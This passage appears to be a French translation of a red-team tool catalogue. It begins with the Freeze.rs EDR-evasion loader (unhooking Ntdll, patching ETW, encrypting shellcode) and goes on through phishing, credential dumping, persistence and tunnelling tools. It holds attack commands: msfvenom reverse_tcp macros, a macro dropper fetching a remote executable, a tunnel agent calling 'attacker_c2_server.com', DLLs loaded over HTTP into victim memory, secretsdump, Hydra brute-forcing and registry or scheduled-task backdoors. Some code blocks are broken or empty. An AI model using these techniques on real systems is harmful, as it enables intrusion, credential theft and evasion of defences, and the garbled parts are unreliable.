Lorsqu'un processus est créé, Ntdll.dll est la première DLL chargée ; cela se produit avant le chargement de toute DLL EDR. Cela signifie qu'il y a un léger délai avant qu'un EDR puisse être chargé et commencer à accrocher et modifier l'assembleur des DLL système. En examinant les appels système Windows dans Ntdll.dll, on constate que rien n'est encore accroché. Si nous créons un processus dans un état suspendu (c'est-à-dire figé dans le temps), nous pouvons voir qu'aucune autre DLL n'est chargée, à l'exception de Ntdll.dll. On peut également constater qu'aucune DLL EDR n'est chargée, ce qui signifie que les appels système situés dans Ntdll.dll ne sont pas modifiés.
Randomisation de la disposition de l'espace d'adressage
Pour utiliser ce processus suspendu propre afin de supprimer les hooks du chargeur Freeze.rs, nous avons besoin d'un moyen de trouver et lire par programmation la mémoire du processus suspendu propre. C'est là qu'intervient la randomisation de la disposition de l'espace d'adressage (ASLR). ASLR est un mécanisme de sécurité destiné à prévenir les vulnérabilités basées sur la corruption de la mémoire de la pile. ASLR randomise l'espace d'adressage à l'intérieur d'un processus, afin de garantir que tous les objets mappés en mémoire, la pile, le tas et le programme exécutable lui-même sont uniques. C'est là que cela devient intéressant car, bien que l'ASLR fonctionne, il ne fonctionne pas pour le code indépendant de la position, comme les DLL. Ce qui se passe avec les DLL (en particulier les DLL système connues), c'est que l'espace d'adressage est randomisé une fois au démarrage. Cela signifie que nous n'avons pas besoin d'énumérer les informations d'un processus distant pour trouver l'adresse de base de sa ntdll.dll, car elle est la même dans tous les processus, y compris celui que nous contrôlons. Puisque l'adresse de chaque DLL est la même par démarrage, nous pouvons récupérer ces informations depuis notre propre processus et ne jamais avoir à énumérer le processus suspendu pour trouver l'adresse.
Avec ces informations, nous pouvons utiliser l'API ReadProcessMemory pour lire la mémoire d'un processus. Cet appel API est couramment associé à la lecture de LSASS dans le cadre d'une attaque basée sur des identifiants ; cependant, en soi, il n'est pas intrinsèquement malveillant, surtout si nous lisons simplement une section arbitraire de la mémoire. Le seul moment où ReadProcessMemory sera signalé comme suspect est si vous lisez quelque chose que vous ne devriez pas (comme le contenu de LSASS). Les produits EDR ne devraient jamais signaler le fait que ReadProcessMemory a été appelé, car il existe des utilisations opérationnelles légitimes pour cette fonction et cela entraînerait de nombreux faux positifs.
Nous pouvons aller plus loin en ne lisant qu'une section de Ntdll.dll où tous les appels système sont stockés - sa section .text, plutôt que de lire l'intégralité de la DLL.
En combinant ces éléments, nous pouvons obtenir par programmation une copie de la section .text de Ntdll.dll pour écraser notre section .text existante accrochée avant d'exécuter le shellcode.
Correction d'ETW
ETW utilise des appels système internes pour générer cette télémétrie. Puisqu'ETW est également une fonctionnalité native intégrée à Windows, les produits de sécurité n'ont pas besoin d'« accrocher » les appels système ETW pour accéder aux informations. En conséquence, pour empêcher ETW, Freeze.rs corrige de nombreux appels système ETW, vidant les registres et redirigeant le flux d'exécution vers l'instruction suivante. La correction d'ETW est désormais par défaut dans tous les chargeurs.
Shellcode
Avec la crate NTAPI de Rust, vous pouvez voir que tous ces appels n'apparaissent pas sous ntdll.dll, mais ils existent toujours dans le processus.
En conséquence :
Pourquoi Rust ?
Cela a commencé comme un projet amusant pour apprendre Rust et est devenu son propre framework.
Contribuer
Freeze.rs a été développé en Rust.
Installation
Si Rust et Rustup ne sont pas installés, veuillez les installer. Si vous compilez depuis OSX ou Linux, assurez-vous d'avoir ajouté la cible "x86_64-pc-windows-gnu". Pour ce faire, exécutez la commande suivante :
Une fois cela fait, vous pouvez compiler Freeze.rs, exécuter les commandes suivantes ou utiliser le binaire compilé :```bash git clone https://github.com/optiv/Freeze cd Freeze rustup target add x86_64-pc-windows-gnu cargo build --release
À partir de là, la version compilée se trouvera dans in target/release (notez que si vous ne mettez pas --release, le fichier sera dans target/debug/ )```bash
___________
\_ _____/______ ____ ____ ________ ____ _______ ______
| __) \_ __ \_/ __ \_/ __ \\___ // __ \ \_ __ \/ ___/
| \ | | \/\ ___/\ ___/ / /\ ___/ | | \/\___ \
\___ / |__| \___ >\___ >_____ \\___ > /\ |__| /____ >
\/ \/ \/ \/ \/ \/ \/
(@Tyl0us)
Soon they will learn that revenge is a dish... best served COLD & Rusty...
USAGE:
Freeze-rs [FLAGS] [OPTIONS]
FLAGS:
-c, --console Only for Binary Payloads - Generates verbose console information when the payload is executed. This
will disable the hidden window feature
-h, --help Prints help information
-n, --noetw Disables the ETW patching that prevents ETW events from being generated.
-s, --sandbox Enables sandbox evasion by checking:
Is Endpoint joined to a domain?
Does the Endpoint have more than 2 CPUs?
Does the Endpoint have more than 4 gigs of RAM?
-V, --version Prints version information
OPTIONS:
-E, --Encrypt <ENCRYPT> Encrypts the shellcode using either AES 256, ELZMA or RC4 encryption
-I, --Input <INPUT> Path to the raw 64-bit shellcode.
-O, --Output <OUTPUT> Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension
defined will determine if Freeze makes a dll or exe.
-p, --process <PROCESS> The name of process to spawn. This process has to exist in C:\Windows\System32\. Example
'notepad.exe'
-e, --export <export> Defines a custom export function name for any DLL.
Binaire vs DLL Freeze.rs peut générer soit un fichier .exe, soit un fichier .dll. Pour spécifier cela, assurez-vous que l'option de ligne de commande -O se termine par .exe pour les binaires ou .dll pour les DLL. Aucun autre type de fichier n'est actuellement pris en charge. Dans le cas des fichiers DLL, Freeze.rs peut également ajouter des fonctionnalités d'export supplémentaires. Pour ce faire, utilisez l'option -export avec le nom de la fonction d'export spécifique.
Chiffrement Le chiffrement du code shell est une technique importante utilisée pour le protéger de la détection et de l'analyse par les EDR et autres produits de sécurité. Freeze.rs propose plusieurs méthodes pour chiffrer le code shell, notamment AES, ELZMA et RC4.
AES AES (Advanced Encryption Standard) est un algorithme de chiffrement symétrique largement utilisé pour chiffrer les données. Freeze.rs utilise une taille de clé AES-256 bits pour chiffrer le code shell. L'avantage d'utiliser AES pour chiffrer le code shell est qu'il offre un chiffrement fort et qu'il est largement pris en charge par les bibliothèques cryptographiques. Cependant, l'utilisation d'une taille de bloc fixe peut le rendre vulnérable à certaines attaques, comme l'attaque par oracle de padding.
ELZMA ELZMA est un algorithme de compression et de chiffrement souvent utilisé dans les logiciels malveillants pour obscurcir le code. Pour chiffrer le code shell à l'aide d'ELZMA, le code shell est d'abord compressé à l'aide de l'algorithme ELZMA. Les données compressées sont ensuite chiffrées à l'aide d'une clé aléatoire. Les données chiffrées et la clé sont ensuite intégrées dans le code d'exploitation. L'avantage d'utiliser ELZMA pour chiffrer le code shell est qu'il fournit à la fois compression et chiffrement en un seul algorithme. Cela peut aider à réduire la taille du code d'exploitation et à le rendre plus difficile à détecter.
RC4 RC4 est un algorithme de chiffrement symétrique souvent utilisé dans les logiciels malveillants pour chiffrer le code shell. Il s'agit d'un chiffrement par flux qui peut utiliser des clés de longueur variable et qui est connu pour sa simplicité et sa rapidité.
Console Freeze.rs utilise une technique consistant à d'abord créer le processus, puis à le déplacer en arrière-plan. Cela permet deux choses : d'une part, cela aide à maintenir le processus caché, et d'autre part, cela évite d'être détecté par un produit EDR. Lancer un processus directement en arrière-plan peut être très suspect et être un indicateur de malveillance. Freeze.rs le fait en appelant les fonctions Windows 'GetConsoleWindow' et 'ShowWindow' après la création du processus et le chargement des hooks de l'EDR, puis en modifiant les attributs de la fenêtre pour la masquer.
Si l'option de ligne de commande -console est sélectionnée, Freeze.rs ne masquera pas le processus en arrière-plan. Au lieu de cela, Freeze.rs ajoutera plusieurs messages de débogage indiquant ce que fait le chargeur.
Création de la charge utile :```vbs Set shell = WScript.CreateObject("Wscript.Shell") shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True
**Exécuter:**```bash
wscript payload.vbs
cscript.exe payload.vbs
wscript /e:VBScript payload.txt //If .vbs files are blacklisted
Création du payload:```html
``` **Exécuter :** Lancer le fichierCréation du payload :```python Sub calc() Dim payload As String payload = "calc.exe" CreateObject("Wscript.Shell").Run payload,0 End Sub
**Execute:** Définissez la fonction sur `Auto_Open()` dans un document activé pour les macros.
# Initial Access
### [🔙](#tool-list)[Bash Bunny](https://shop.hak5.org/products/bash-bunny)
Le Bash Bunny est un outil d'attaque USB physique et un système de livraison de charge utile multifonction. Il est conçu pour être branché sur le port USB d'un ordinateur et peut être programmé pour effectuer diverses fonctions, notamment la manipulation et l'exfiltration de données, l'installation de logiciels malveillants et le contournement des mesures de sécurité.
[hackinglab: Bash Bunny – Guide](https://hackinglab.cz/en/blog/bash-bunny-guide/)
[Hak5 Documentation](https://docs.hak5.org/bash-bunny/)
[Nice Payload Repo](https://github.com/hak5/bashbunny-payloads)
[Product Page](https://hak5.org/products/bash-bunny)
### [🔙](#tool-list)[EvilGoPhish](https://github.com/fin3ss3g0d/evilgophish)
evilginx2 + gophish. (GoPhish) Gophish est un framework de phishing open-source puissant qui permet de tester facilement l'exposition de votre organisation au phishing. (evilginx2) Framework d'attaque man-in-the-middle autonome utilisé pour hameçonner des identifiants de connexion ainsi que des cookies de session, permettant le contournement de l'authentification à deux facteurs.
**Install:**```bash
git clone https://github.com/fin3ss3g0d/evilgophish
Utilisation:``` Usage: ./setup <subdomain(s)>
### [🔙](#tool-list)[Social Engineer Toolkit (SET)](https://github.com/IO1337/social-engineering-toolkit)
Ce framework est excellent pour créer des campagnes d'accès initial. « SET dispose d'un certain nombre de vecteurs d'attaque personnalisés qui vous permettent de créer rapidement une attaque crédible. »
**Installation :**```bash
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install
Utilisation :```bash python3 setoolkit
### [🔙](#tool-list)[Hydra](https://github.com/vanhauser-thc/thc-hydra)
Outil pratique pour les attaques par force brute de connexion. Peut attaquer par force brute un certain nombre de services, y compris SSH, FTP, TELNET, HTTP, etc.
**Installation :**```bash
sudo apt install hydra
Utilisation:```bash hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error" hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh
### [🔙](#tool-list)[SquarePhish](https://github.com/secureworks/squarephish)
SquarePhish est un outil de phishing avancé qui utilise une technique combinant le flux d'authentification par code d'appareil OAuth et les codes QR (voir [PhishInSuits](https://github.com/secureworks/PhishInSuits) pour en savoir plus sur le flux de code d'appareil OAuth pour les attaques de phishing).
Étapes de l'attaque :
- Envoyer un code QR malveillant à la victime
- La victime scanne le code QR avec son appareil mobile
- La victime est redirigée vers un serveur contrôlé par l'attaquant (déclenchement du processus de flux d'authentification par code d'appareil OAuth)
- La victime reçoit un code MFA par e-mail (déclenchement du minuteur de 15 minutes du flux de code d'appareil OAuth)
- L'attaquant interroge l'authentification
- La victime saisit le code sur le site Web légitime de Microsoft
- L'attaquant enregistre le jeton d'authentification
**Installation :**```bash
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt
Note : Avant d'utiliser l'un ou l'autre module, mettez à jour les informations requises dans le fichier settings.config noté avec Required.
Utilisation (Module Email) :``` usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments: -h, --help show this help message and exit
-c CONFIG, --config CONFIG squarephish config file [Default: settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL victim email address to send initial QR code email to
**Utilisation (Module Serveur) :**```
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
King Phisher est un outil qui permet aux attaquants de créer et d'envoyer des e-mails de phishing aux victimes pour obtenir des informations sensibles. Il comprend des fonctionnalités telles que des modèles personnalisables, la gestion de campagnes et des capacités d'envoi d'e-mails, ce qui en fait un outil puissant et facile à utiliser pour mener des attaques de phishing. Avec King Phisher, les attaquants peuvent cibler des individus ou des organisations avec des e-mails de phishing ciblés et convaincants, augmentant ainsi les chances de succès de leurs attaques.
Installation (Linux - Client & Serveur) :```bash
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh &&
sudo bash ./install.sh
**Utilisation :**
Une fois King Phisher installé, veuillez suivre la [page wiki](https://github.com/rsmusllp/king-phisher/wiki/Getting-Started) pour configurer SSH, la base de données, le serveur SMTP, etc.
# Exécution
### [🔙](#tool-list)[Responder](https://github.com/SpiderLabs/Responder)
Responder est un outil pour empoisonner les protocoles LLMNR et NBT-NS sur un réseau, afin de permettre la capture d'identifiants et l'exécution de code arbitraire.
Les protocoles LLMNR (Link-Local Multicast Name Resolution) et NBT-NS (NetBIOS Name Service) sont utilisés par les systèmes Windows pour résoudre les noms d'hôtes en adresses IP sur un réseau local. Si un nom d'hôte ne peut pas être résolu à l'aide de ces protocoles, le système diffuse une requête pour le nom d'hôte sur le réseau local.
Responder écoute ces diffusions et répond avec une adresse IP fictive, piégeant ainsi le système demandeur qui envoie ses identifiants à l'attaquant.
**Installation :**```bash
git clone https://github.com/SpiderLabs/Responder#usage
cd Responder
Utilisation:```bash
./Responder.py [options]
./Responder.py -I eth0 -wrf
Les informations d'utilisation complètes peuvent être trouvées [ici](https://github.com/SpiderLabs/Responder#usage).
_Image utilisée depuis https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/_
### [🔙](#tool-list)[secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py)
Un utilitaire faisant partie de la bibliothèque Impacket qui peut être utilisé pour extraire les hachages de mots de passe et autres secrets d'un système Windows.
Il fait cela en interagissant avec la base de données Security Account Manager (SAM) du système et en extrayant les hachages de mots de passe et autres informations, telles que :
- Hachages de mots de passe pour les comptes locaux
- Tickets et clés Kerberos
- Secrets LSA
**Installation :**```bash
python3 -m pip install impacket
Utilisation :```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:[email protected]
_Image utilisée depuis https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/#secretsdumppy_
### [🔙](#tool-list)[evil-winrm](https://github.com/Hackplayers/evil-winrm)
Evil-WinRM est un outil qui fournit une interface en ligne de commande pour Windows Remote Management (WinRM : _Un service qui permet aux administrateurs d'exécuter des commandes à distance sur une machine Windows_).
Evil-WinRM permet à un attaquant de se connecter à distance à une machine Windows en utilisant WinRM et d'exécuter des commandes arbitraires.
Quelques fonctionnalités incluent :
- Chargement de scripts Powershell en mémoire
- Chargement de fichiers dll en mémoire contournant certains antivirus
- Chargement de payloads x64
- Support du Pass-the-hash
- Téléchargement et téléversement de fichiers locaux et distants
**Installation : (Git)**```bash
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
Installation : (gem Ruby)```bash gem install evil-winrm
Les instructions d'installation alternatives peuvent être trouvées [ici](https://github.com/Hackplayers/evil-winrm#installation--quick-start-4-methods).
**Utilisation:**```bash
# Connect to 192.168.1.100 as Administrator with custom exe/ps1 download folder locations
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
# Upload local files to victim
upload local_filename
upload local_filename destination_filename
# Download remote files to local machine
download remote_filename
download remote_filename destination_filename
# Execute .Net assembly into victim memory
Invoke-Binary /opt/csharp/Rubeus.exe
# Load DLL library into victim memory
Dll-Loader -http http://10.10.10.10/SharpSploit.dll
La documentation complète d'utilisation se trouve ici.
Image utilisée depuis https://korbinian-spielvogel.de/posts/heist-writeup/
Un outil pour l'exécution en mémoire de scripts VBScript, JScript, fichiers EXE, DLL et assemblies dotNET. Il peut être utilisé pour charger et exécuter des charges utiles personnalisées sur les systèmes cibles sans avoir à écrire de fichiers sur le disque.
Installation : (Windows)```bash git clone http://github.com/thewover/donut.git
Pour générer le modèle de chargeur, la bibliothèque dynamique donut.dll, la bibliothèque statique donut.lib et le générateur donut.exe. Lancez une invite de commandes développeur Microsoft Visual Studio x64, placez-vous dans le répertoire où vous avez cloné le dépôt Donut et saisissez la commande suivante :```bash
nmake -f Makefile.msvc
Pour faire la même chose, mais en utilisant MinGW-64 sous Windows ou Linux, placez-vous dans le répertoire où vous avez cloné le dépôt Donut et entrez ce qui suit :```bash make -f Makefile.mingw
**Installation: (Linux)**```bash
pip3 install donut-shellcode
Utilisation:```bash
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\calc.xsl")
shellcode = donut.create(file=r"C:\Tools\Source\Repos\donut\payload\test\hello.dll")
Pour des informations complètes sur l'utilisation, consultez la [page GitHub](https://github.com/TheWover/donut/#4-usage) de donut.
Voir [un récent article de blog](https://thewover.github.io/Bear-Claw/) de The Wover pour plus d'informations.
### [🔙](#tool-list)[Macro_pack](https://github.com/sevagas/macro_pack)
Un outil utilisé pour automatiser l'obfuscation et la génération de documents Office, scripts VB, raccourcis et autres formats pour le red teaming.
**Installation : (Binaire)**
1. Téléchargez le dernier binaire depuis [https://github.com/sevagas/macro_pack/releases/](https://github.com/sevagas/macro_pack/releases/)
2. Téléchargez le binaire sur un PC avec Microsoft Office authentique installé.
3. Ouvrez la console, CD vers le répertoire du binaire et exécutez le binaire
**Installation : (Git)**```bash
git clone https://github.com/sevagas/macro_pack.git
cd macro_pack
pip3 install -r requirements.txt
Utilisation :```bash
python3 macro_pack.py --help
macro_pack.exe --listformats
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
macro_pack.exe -f empire.vba -o -G myDoc.docm
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
echo calc.exe | macro_pack.exe --dde -G calc.xslx
### [🔙](#tool-list)[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)
Une collection de scripts et modules PowerShell pouvant être utilisés pour atteindre divers objectifs de red teaming.
Quelques fonctionnalités de PowerSploit :
- Vider les hachages de mots de passe et extraire les mots de passe en clair de la mémoire
- Élever les privilèges et contourner les contrôles de sécurité
- Exécuter du code PowerShell arbitraire et contourner les restrictions d'exécution
- Effectuer des reconnaissances et découvertes réseau
- Générer des charges utiles et exécuter des exploits
**Installation :** _1. Enregistrer dans le dossier des modules PowerShell_
Vous devrez d'abord télécharger le [dossier PowerSploit](https://github.com/PowerShellMafia/PowerSploit) et l'enregistrer dans votre dossier de modules PowerShell.
Le chemin de votre dossier de modules PowerShell peut être trouvé avec la commande suivante :```
$Env:PSModulePath
Installation : 2. Installer PowerSploit en tant que module PowerShell
Vous devrez ensuite installer le module PowerSploit (utilisez le nom du dossier téléchargé).
Remarque : Votre stratégie d’exécution PowerShell pourrait vous bloquer, pour résoudre ce problème, exécutez la commande suivante.``` powershell.exe -ep bypass
Vous pouvez maintenant installer le module PowerSploit.```
Import-Module PowerSploit
Utilisation :``` Get-Command -Module PowerSploit
### [🔙](#tool-list)[Rubeus](https://github.com/GhostPack/Rubeus)
Un outil pouvant être utilisé pour effectuer diverses actions liées aux environnements Microsoft Active Directory (AD), comme l'extraction de condensés de mots de passe, la création/suppression d'utilisateurs et la modification de propriétés utilisateur.
Quelques fonctionnalités de Rubeus :
- Kerberoasting
- Attaques par ticket d'or (Golden ticket)
- Attaques par ticket d'argent (Silver ticket)
**Installation : (Téléchargement)**
Vous pouvez installer le binaire Rubeus pré-compilé non officiel [ici](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe).
**Installation : (Compilation)**
Rubeus est compatible avec [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Ouvrez le [.sln](https://github.com/GhostPack/Rubeus) du projet rubeus, choisissez « Release », puis compilez.
**Utilisation :**```
Rubeus.exe -h
Un outil pratique pour vérifier le point de terminaison d'une victime pour les vulnérabilités liées aux processus de haute intégrité, aux groupes, aux chemins détournables, etc.
Installation : (Téléchargement)
Vous pouvez installer le binaire précompilé non officiel de SharpUp ici.
Installation : (Compilation)
SharpUp est compatible avec Visual Studio 2015 Community Edition. Ouvrez le projet .sln de SharpUp, choisissez « Release », et compilez.
Utilisation :```bash SharpUp.exe audit #-> Runs all vulnerability checks regardless of integrity level or group membership.
SharpUp.exe HijackablePaths #-> Check only if there are modifiable paths in the user's %PATH% variable.
SharpUp.exe audit HijackablePaths #-> Check only for modifiable paths in the user's %PATH% regardless of integrity level or group membership.
### [🔙](#tool-list)[SQLRecon](https://github.com/skahwah/SQLRecon)
MS-SQL (Microsoft SQL Server) est un système de gestion de base de données relationnelle développé et commercialisé par Microsoft.
Ce toolkit C# MS-SQL est conçu pour la reconnaissance offensive et la post-exploitation. Pour des informations détaillées sur chaque technique, consultez le [wiki](https://github.com/skahwah/SQLRecon/wiki).
**Installation : (Binaire)**
Vous pouvez télécharger la dernière version binaire depuis [ici](https://github.com/skahwah/SQLRecon/releases).
**Utilisation :**```bash
# Authenticating using Windows credentials
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# Authenticating using Local credentials
SQLRecon.exe -a Local -s SQL02 -d master -u sa -p Password123 -m whoami
# Authenticating using Azure AD credentials
SQLRecon.exe -a azure -s azure.domain.com -d master -r domain.com -u skawa -p Password123 -m whoami
# Run whoami
SQLRecon.exe -a Windows -s SQL01 -d master -m whoami
# View databases
SQLRecon.exe -a Windows -s SQL01 -d master -m databases
# View tables
SQLRecon.exe -a Windows -s SQL01 -d master -m tables -o AdventureWorksLT2019
Les informations d'utilisation complètes sont disponibles sur le wiki.
Les informations d'utilisation du module d'outil sont disponibles ici.
Image tirée de la page d'aide de SQLRecon
Cette ressource est une collection des techniques les plus courantes et connues pour contourner AppLocker.
Comme AppLocker peut être configuré de différentes manières, @api0cradle maintient une liste vérifiée de contournements (qui fonctionne contre les règles par défaut d'AppLocker) et une liste avec des techniques de contournement possibles (selon la configuration) ou revendiquées comme un contournement par quelqu'un.
Ils ont également une liste de techniques de contournement génériques ainsi qu'une liste héritée de méthodes pour exécuter via des DLL.
Listes indexées
Image tirée de https://github.com/api0cradle/UltimateAppLockerByPassList
Un lanceur Empire basé sur JavaScript et VBScript, qui s'exécute dans son propre hôte PowerShell intégré.
Les deux lanceurs s'exécutent dans leur propre hôte PowerShell intégré, donc nous n'avons pas besoin de PowerShell.exe.
Cela peut être utile lorsqu'une entreprise bloque PowerShell.exe et/ou utilise une solution de liste blanche d'applications, mais ne bloque pas l'exécution de fichiers JS/VBS.
Utilisation :
Pour la version JavaScript, utilisez la variable suivante :```javascript var EncodedPayload = "";
Pour la version VBScript, utilisez la variable suivante :```vbscript
Dim EncodedPayload: EncodedPayload = "<Paste Encoded Launcher Payload Here>"
Image utilisée depuis https://www.hackplayers.com/2017/06/startfighters-un-launcher-de-empire-en-js-vbs.html
L'objectif de ce projet est de générer des fichiers .html contenant un fichier HTA chiffré.
L'idée est que lorsque votre cible visite la page, la clé est récupérée et le HTA est déchiffré dynamiquement dans le navigateur, puis poussé directement vers l'utilisateur.
Il s'agit d'une technique d'évasion pour contourner l'inspection du contenu/type de fichier mise en œuvre par certains équipements de sécurité.
Plus d'informations techniques ici.
Installation :``` git clone https://github.com/nccgroup/demiguise cd demiguise
**Utilisation:**```bash
# Generate an encrypted .hta file that executes notepad.exe
python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o test.hta
Image utilisée depuis https://github.com/nccgroup/demiguise
Impacket fournit un ensemble de liaisons Python de bas niveau pour divers protocoles réseau, notamment SMB, Kerberos et LDAP, ainsi que des bibliothèques de plus haut niveau pour interagir avec les services réseau et effectuer des tâches spécifiques telles que l'extraction de hachages de mots de passe et la création de partages réseau.
Il comprend également un certain nombre d'outils en ligne de commande pouvant être utilisés pour effectuer diverses tâches telles que l'extraction de bases de données SAM, l'énumération des approbations de domaine et le cassage de mots de passe Windows.
Installation :```bash python3 -m pip install impacket
**Installation : (Avec exemples de scripts)**
Téléchargez et extrayez [le paquet](https://github.com/fortra/impacket), puis naviguez vers le dossier d'installation et exécutez...```bash
python3 -m pip install .
Utilisation :```bash
secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL
netview.py domain/user:password -target 192.168.10.2
mssqlinstance.py 192.168.1.2
GetADUsers.py domain/user:password@IP
Excellente [antisèche](https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/) pour l'utilisation d'Impacket.
### [🔙](#tool-list)[Empire](https://github.com/EmpireProject/Empire)
Empire est un framework de post-exploitation qui vous permet de générer des charges utiles pour établir des connexions à distance avec des systèmes victimes.
Une fois qu'une charge utile a été exécutée sur un système victime, elle établit une connexion de retour vers le serveur Empire, qui peut ensuite être utilisé pour envoyer des commandes et contrôler le système cible.
Empire inclut également un certain nombre de modules et scripts intégrés qui peuvent être utilisés pour effectuer des tâches spécifiques, comme extraire des hachages de mots de passe, accéder au registre Windows et exfiltrer des données.
**Installation :**```bash
git clone https://github.com/EmpireProject/Empire
cd Empire
sudo ./setup/install.sh
Utilisation :```bash
./empire
list agents
list listeners
Bel [aide-mémoire](https://github.com/HarmJ0y/CheatSheets/blob/master/Empire.pdf) d'utilisation par [HarmJoy](https://github.com/HarmJ0y).
### [🔙](#tool-list)[SharPersist](https://github.com/mandiant/SharPersist)
Un toolkit de persistance Windows écrit en C#.
Le projet dispose d'un [wiki](https://github.com/mandiant/SharPersist/wiki).
**Installation : (Binaire)**
Vous pouvez trouver la version la plus récente [ici](https://github.com/mandiant/SharPersist/releases).
**Installation : (Compilation)**
- Téléchargez les fichiers du projet depuis le [dépôt GitHub](https://github.com/mandiant/SharPersist).
- Chargez le projet Visual Studio et allez dans "Outils" --> "Gestionnaire de packages NuGet" --> "Paramètres du gestionnaire de packages"
- Allez dans "Gestionnaire de packages NuGet" --> "Sources de packages"
- Ajoutez une source de packages avec l'URL "https://api.nuget.org/v3/index.json"
- Installez le package NuGet Costura.Fody. L'ancienne version de Costura.Fody (3.3.3) est nécessaire pour ne pas avoir besoin de Visual Studio 2019.
- `Install-Package Costura.Fody -Version 3.3.3`
- Installez le package TaskScheduler
- `Install-Package TaskScheduler -Version 2.8.11`
- Vous pouvez maintenant construire le projet vous-même !
**Utilisation :**
Une liste complète d'exemples d'utilisation se trouve [ici](https://github.com/mandiant/SharPersist#adding-persistence-triggers-add).```
#KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
#Registry
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
#Scheduled Task Backdoor
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
#Startup Folder
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Ligolo-ng est un outil simple, léger et rapide qui permet aux pentesteurs d'établir des tunnels à partir d'une connexion TCP/TLS inverse en utilisant une interface tun (sans avoir besoin de SOCKS).
Au lieu d'utiliser un proxy SOCKS ou des forwarders TCP/UDP, Ligolo-ng crée une pile réseau en espace utilisateur grâce à Gvisor.
Lors de l'exécution du serveur relais/proxy, une interface tun est utilisée, les paquets envoyés à cette interface sont traduits, puis transmis au réseau distant de l'agent.
Installation : (Téléchargement)
Des binaires précompilés (Windows/Linux/macOS) sont disponibles sur la page des releases.
Installation : (Construction)
Construction de ligolo-ng (Go >= 1.17 est requis) :```bash go build -o agent cmd/agent/main.go go build -o proxy cmd/proxy/main.go
GOOS=windows go build -o agent.exe cmd/agent/main.go GOOS=windows go build -o proxy.exe cmd/proxy/main.go
**Installation: (Linux)**```bash
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
Configuration : (Windows)
Vous devez télécharger le pilote Wintun (utilisé par WireGuard) et placer le fichier wintun.dll dans le même dossier que Ligolo (assurez-vous d'utiliser la bonne architecture).
Configuration : (Serveur proxy)```bash ./proxy -h # Help options ./proxy -autocert # Automatically request LetsEncrypt certificates
**Utilisation :**
_Démarrez l'agent sur l'ordinateur de votre cible (victime) (aucun privilège requis !) :_```bash
./agent -connect attacker_c2_server.com:11601
Une session devrait apparaître sur le serveur proxy.``` INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Utilisez la commande session pour sélectionner l'agent.```
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Des informations d'utilisation complètes peuvent être trouvées ici.
Image utilisée depuis https://github.com/nicocha30/ligolo-ng#demo
LinPEAS est un outil d'élévation de privilèges très verbeux pour trouver des chemins d'escalade de privilèges locaux sur des endpoints Linux.
Installation et utilisation :```bash curl -L "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" | sh
### [🔙](#tool-list)[WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS)
WinPEAS est un outil d'élévation de privilèges verbeux et pratique pour trouver des chemins d'escalade de privilèges locaux sur des endpoints Windows.
**Installation + Utilisation :**```bash
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
Linux smart enumeration est un autre bon outil d'élévation de privilèges Linux, moins verbeux.
Installation + Utilisation :```bash curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
### [🔙](#tool-list)[Certify](https://github.com/GhostPack/Certify)
Certify est un outil en C# permettant d'énumérer et d'exploiter les mauvaises configurations dans les services de certificats Active Directory (AD CS).
